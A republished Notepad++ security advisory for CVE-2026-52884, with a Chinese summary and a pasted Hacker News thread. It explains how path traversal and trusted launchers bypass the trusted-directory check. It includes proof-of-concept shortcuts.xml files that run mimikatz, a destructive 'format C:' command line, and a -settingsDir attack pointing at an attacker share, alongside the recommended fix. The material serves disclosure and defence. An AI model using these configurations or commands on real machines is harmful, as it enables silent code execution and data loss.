通过路径遍历实现 Notepad++ 零点击远程代码执行 (CVE-2026-52884)
Notepad++ Zero-Click RCE via Path Traversal (CVE-2026-52884)

原始链接: https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-p58x-r3c9-x9p6

**漏洞摘要:Notepad++ v8.9.6.1 任意代码执行** Notepad++ v8.9.6.1 存在任意代码执行漏洞(CVE-2026-48800 的绕过),原因在于对 `shortcuts.xml` 中的命令路径验证不当。 **根本原因:** 旨在将命令执行限制在受信任文件夹(如 `C:\Windows\System32\`)内的 `isInTrustedDirectory()` 函数,在验证前未对路径进行规范化处理。由于其仅使用基于前缀的简单检查,攻击者可以使用路径遍历序列(如 `..\..\`)来绕过安全过滤器。此外,应用程序将 `cmd.exe` 和 `powershell.exe` 等本身具有危险性的二进制文件视为“受信任”,允许在未经用户确认的情况下将其作为任意命令的启动向量。 **影响:** 攻击者可以通过修改 `shortcuts.xml` 配置文件静默执行任意代码。这可以通过篡改本地配置、利用带有 `-settingsDir` 参数的恶意 `.lnk` 文件或云同步中毒来实现。该漏洞的 CVSS 评分为 7.8(高危)。 **建议修复:** 开发人员必须使用 `PathCanonicalize()` 或 `GetFullPathNameW()` 对所有路径进行规范化处理,以在执行针对受信任目录的前缀验证之前解析遍历序列。

```Hacker News 最新 | 过往 | 评论 | 提问 | 展示 | 招聘 | 提交 登录 Notepad++ 零点击远程代码执行漏洞(路径遍历,CVE-2026-52884)(github.com/notepad-plus-plus) 10 分,发布者:ringzeropirate,2 小时前 | 隐藏 | 过往 | 收藏 | 2 条评论 帮助 LiamPowell 1 分钟前 | 下一条 [–] 楼主,我猜你的评论被标记是因为明显使用了大模型(LLM)。 回复 bflesch 2 分钟前 | 上一条 | 下一条 [–] 这种漏洞居然还能漏掉,真是令人悲哀。很多人在编写验证代码时,甚至无法想到最直观的边界情况。 在我看来,这就像那些玩了一辈子乐高的人,却从未脱离过说明书步骤,也从未尝试过“跳出框架”去构建任何东西。 回复 指南 | 常见问题 | 列表 | API | 安全 | 法律 | 加入 YC | 联系 搜索: ```
相关文章

原文

Vulnerability Summary

Product: Notepad++ v8.9.6.1 (latest patched version)
Type: CWE-42 (Path Traversal) / CWE-59 (Improper Link Resolution)
Impact: Arbitrary Code Execution without user confirmation
CVSS 3.1: 7.8 (High) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Bypasses: CVE-2026-48800 (shortcuts.xml command validation)

Description

The CVE-2026-48800 patch adds isInTrustedDirectory() validation in Command::run() (RunDlg.cpp) before calling ShellExecute(). This function checks whether the resolved executable path is under a trusted directory:

  • C:\Program Files\
  • C:\Program Files (x86)\
  • C:\Windows\System32\
  • C:\Windows\

The vulnerability: isInTrustedDirectory() does NOT canonicalize the path before checking. It uses a prefix-based check (PathIsPrefix() or equivalent) that matches paths starting with trusted directory strings. A path traversal using ..\..\ after a trusted directory prefix passes the check while resolving to an untrusted location.

Confirmed Bypass Vectors

Bypass 1: Path Traversal (CRITICAL)

Command in shortcuts.xml Resolved Path Warning? Result
C:\Users\[USERNAME]\Downloads\mimikatz.exe Untrusted path ✅ Yes — warning shown Blocked
C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe Same mimikatz.exe No warning Executes silently
C:\Program Files\..\..\Users\[USERNAME]\Downloads\payload.exe Same payload No warning Executes silently

Proof: On v8.9.6.1, C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe in shortcuts.xml executes mimikatz without any security dialog, while the direct path C:\Users\[USERNAME]\Downloads\mimikatz.exe correctly shows a warning.

Bypass 2: Trusted Executable as Launcher (HIGH)

Command in shortcuts.xml Resolved Executable Warning? Result
cmd.exe /c calc.exe C:\Windows\System32\cmd.exe (trusted) ❌ None Executes silently
powershell.exe -ExecutionPolicy Bypass -Command calc.exe C:\Windows\System32\...\powershell.exe (trusted) ❌ None Executes silently
rundll32.exe javascript:...\mshtml,RunHTMLApplication C:\Windows\System32\rundll32.exe (trusted) ❌ None Executes silently

Proof: On v8.9.6.1, cmd.exe /c calc.exe in shortcuts.xml executes calc.exe without any security dialog.

Root Cause Analysis

The isInTrustedDirectory() function in RunDlg.cpp performs a check similar to:

bool isInTrustedDirectory(const wchar_t* path) {
    wchar_t trustedDirs[][MAX_PATH] = {
        L"C:\\Program Files\\",
        L"C:\\Program Files (x86)\\",
        L"C:\\Windows\\System32\\",
        L"C:\\Windows\\",
    };
    for (auto& trusted : trustedDirs) {
        if (PathIsPrefix(trusted, path))  // BUG: checks prefix without canonicalization
            return true;
    }
    return false;
}

The PathIsPrefix() (or StartsWith()) check matches C:\Windows\System32\..\..\Users\... because it starts with C:\Windows\System32\. The ..\..\ traversal components are NOT resolved before the prefix check.

Correct fix: Canonicalize the path using PathCanonicalize() or GetFullPathNameW() BEFORE checking:

bool isInTrustedDirectory(const wchar_t* path) {
    wchar_t canonicalPath[MAX_PATH] = {};
    // Resolve .., ., and redundant separators
    if (!PathCanonicalize(canonicalPath, path))
        return false;
    // NOW check against trusted directories
    for (auto& trusted : trustedDirs) {
        if (PathIsPrefix(trusted, canonicalPath))
            return true;
    }
    return false;
}

Attack Scenarios

Scenario 1: Direct config file write

Any process running under the same user account can modify %APPDATA%\Notepad++\shortcuts.xml:

<Command name="Open Document" Ctrl="no" Alt="yes" Shift="no" Key="112">
    C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe
</Command>

When the user presses Alt+F1 (or clicks Run → Open Document), mimikatz executes without any warning dialog.

Scenario 2: Malicious shortcut (.lnk) with -settingsDir=

A .lnk file can redirect NPP to load shortcuts.xml from an attacker-controlled directory:

notepad++.exe -settingsDir=\\attacker\share\config

The remote shortcuts.xml contains the path traversal bypass. NPP loads it and the malicious command executes without warning.

Scenario 3: Cloud sync poisoning

If the user syncs %APPDATA%\Notepad++ via OneDrive, Dropbox, or similar, an attacker who compromises the cloud storage can inject the path traversal bypass into shortcuts.xml.

Scenario 4: cmd.exe launcher chain

Even without path traversal, cmd.exe and powershell.exe are in trusted directories and can execute arbitrary commands:

<Command name="Format C:" Ctrl="no" Alt="yes" Shift="no" Key="112">
    cmd.exe /c format C: /fs:NTFS /q /y
</Command>

Proof of Concept

PoC 1: shortcuts.xml with path traversal bypass

<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
    <InternalCommands />
    <Macros />
    <UserDefinedCommands>
        <Command name="Run Mimikatz" Ctrl="no" Alt="yes" Shift="no" Key="112">
            C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe
        </Command>
    </UserDefinedCommands>
    <PluginCommands />
    <ScintillaKeys />
</NotepadPlus>

PoC 2: shortcuts.xml with cmd.exe launcher

<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
    <InternalCommands />
    <Macros />
    <UserDefinedCommands>
        <Command name="Open CMD" Ctrl="no" Alt="yes" Shift="no" Key="112">
            cmd.exe /c calc.exe
        </Command>
    </UserDefinedCommands>
    <PluginCommands />
    <ScintillaKeys />
</NotepadPlus>

PoC 3: -settingsDir= chain attack

notepad++.exe -settingsDir="\\attacker\share\config"

Where \\attacker\share\config\shortcuts.xml contains either bypass vector.

Patch

ea15088

Credits

Michele Piccinni
Trung Nguyen
Noman Nasir Minhas (@NomanNasirMinhas)
Vibhum Dubey

联系我们 contact @ memedata.com